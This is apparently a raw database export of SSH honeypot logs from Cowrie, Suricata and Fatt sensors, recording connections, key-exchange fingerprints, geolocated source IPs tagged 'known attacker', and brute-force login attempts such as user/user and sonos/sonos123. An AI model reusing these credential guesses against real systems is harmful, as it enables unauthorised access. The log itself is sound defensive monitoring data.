["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0ecf2319aa26", "@version": "1", "timestamp": "2021-09-20T11:32:29.684750Z", "@timestamp": "2021-09-20T11:32:29.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30150	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:32:30.49597+03	2021-09-20 14:45:02.628142+03	{"_id": "iQb6AnwBvYTbRNuEnjpQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.login.failed", "message": "login attempt [ardi/ardi] failed", "session": "0ecf2319aa26", "@version": "1", "password": "ardi", "username": "ardi", "timestamp": "2021-09-20T11:32:30.495970Z", "@timestamp": "2021-09-20T11:32:30.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30151	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:32:31.677948+03	2021-09-20 14:45:02.629142+03	{"_id": "igb6AnwBvYTbRNuEojo5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0ecf2319aa26", "@version": "1", "duration": 2.172351121902466, "timestamp": "2021-09-20T11:32:31.677948Z", "@timestamp": "2021-09-20T11:32:31.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30152	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:32:20.865679+03	2021-09-20 14:45:02.630142+03	{"_id": "WQb6AnwBvYTbRNuEdjoU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 38380, "dest_port": 22, "timestamp": "2021-09-20T11:32:20.865679", "@timestamp": "2021-09-20T11:32:20.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30153	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:32:20.865943+03	2021-09-20 14:45:02.632142+03	{"_id": "Zgb6AnwBvYTbRNuEdzo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "a1a43167aa3f", "@version": "1", "timestamp": "2021-09-20T11:32:20.865943Z", "@timestamp": "2021-09-20T11:32:20.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
30154	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:32:21.059018+03	2021-09-20 14:45:02.633142+03	{"_id": "Zwb6AnwBvYTbRNuEdzo8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "a1a43167aa3f", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:32:21.059018Z", "@timestamp": "2021-09-20T11:32:21.059Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
30156	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:32:21.067618+03	2021-09-20 14:45:02.635142+03	{"_id": "cQb6AnwBvYTbRNuEeTr9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35340, "timestamp": "2021-09-20T11:32:21.067618", "@timestamp": "2021-09-20T11:32:21.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30157	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:32:43.902257+03	2021-09-20 14:45:02.637141+03	{"_id": "rgb6AnwBvYTbRNuE0Toh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.105.80.34:41302 (192.168.176.2:22) [session: 89afa4320b84]", "session": "89afa4320b84", "@version": "1", "protocol": "ssh", "src_port": 41302, "dest_port": 22, "timestamp": "2021-09-20T11:32:43.902257Z", "@timestamp": "2021-09-20T11:32:43.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30158	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:32:43.90507+03	2021-09-20 14:45:02.638142+03	{"_id": "sQb6AnwBvYTbRNuE0Toh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "89afa4320b84", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:32:43.905070Z", "@timestamp": "2021-09-20T11:32:43.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30159	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:32:44.183873+03	2021-09-20 14:45:02.639142+03	{"_id": "sgb6AnwBvYTbRNuE0Toh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "89afa4320b84", "@version": "1", "timestamp": "2021-09-20T11:32:44.183873Z", "@timestamp": "2021-09-20T11:32:44.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30160	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:32:44.183189+03	2021-09-20 14:45:02.640142+03	{"_id": "tAb6AnwBvYTbRNuE0jrN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 1239327599983628, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41302, "dest_port": 22, "timestamp": "2021-09-20T11:32:44.183189Z", "@timestamp": "2021-09-20T11:32:44.183Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30161	113.105.80.34	109.199.241.180	Fatt	2021-09-20 14:32:44.183263+03	2021-09-20 14:45:02.641145+03	{"_id": "tQb6AnwBvYTbRNuE0zre", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41302, "dest_port": 22, "timestamp": "2021-09-20T11:32:44.183263", "@timestamp": "2021-09-20T11:32:44.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30162	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:32:45.404499+03	2021-09-20 14:45:02.642142+03	{"_id": "tgb6AnwBvYTbRNuE2Drx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [sonos/sonos123] failed", "session": "89afa4320b84", "@version": "1", "password": "sonos123", "username": "sonos", "timestamp": "2021-09-20T11:32:45.404499Z", "@timestamp": "2021-09-20T11:32:45.404Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30163	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:32:46.687199+03	2021-09-20 14:45:02.644142+03	{"_id": "uAb6AnwBvYTbRNuE3Dra", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "89afa4320b84", "@version": "1", "duration": 2.7824063301086426, "timestamp": "2021-09-20T11:32:46.687199Z", "@timestamp": "2021-09-20T11:32:46.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30164	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:32:29.684039+03	2021-09-20 14:45:02.645142+03	{"_id": "fQb6AnwBvYTbRNuEmDou", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "flow_id": 262720755461817, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47750, "dest_port": 22, "timestamp": "2021-09-20T11:32:29.684039Z", "@timestamp": "2021-09-20T11:32:29.684Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30165	159.89.194.160	109.199.241.180	Fatt	2021-09-20 14:32:29.684131+03	2021-09-20 14:45:02.646142+03	{"_id": "fwb6AnwBvYTbRNuEmTpA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47750, "dest_port": 22, "timestamp": "2021-09-20T11:32:29.684131", "@timestamp": "2021-09-20T11:32:29.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30166	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:32:29.505859+03	2021-09-20 14:45:02.647141+03	{"_id": "hgb6AnwBvYTbRNuEmjpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0ecf2319aa26", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:32:29.505859Z", "@timestamp": "2021-09-20T11:32:29.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
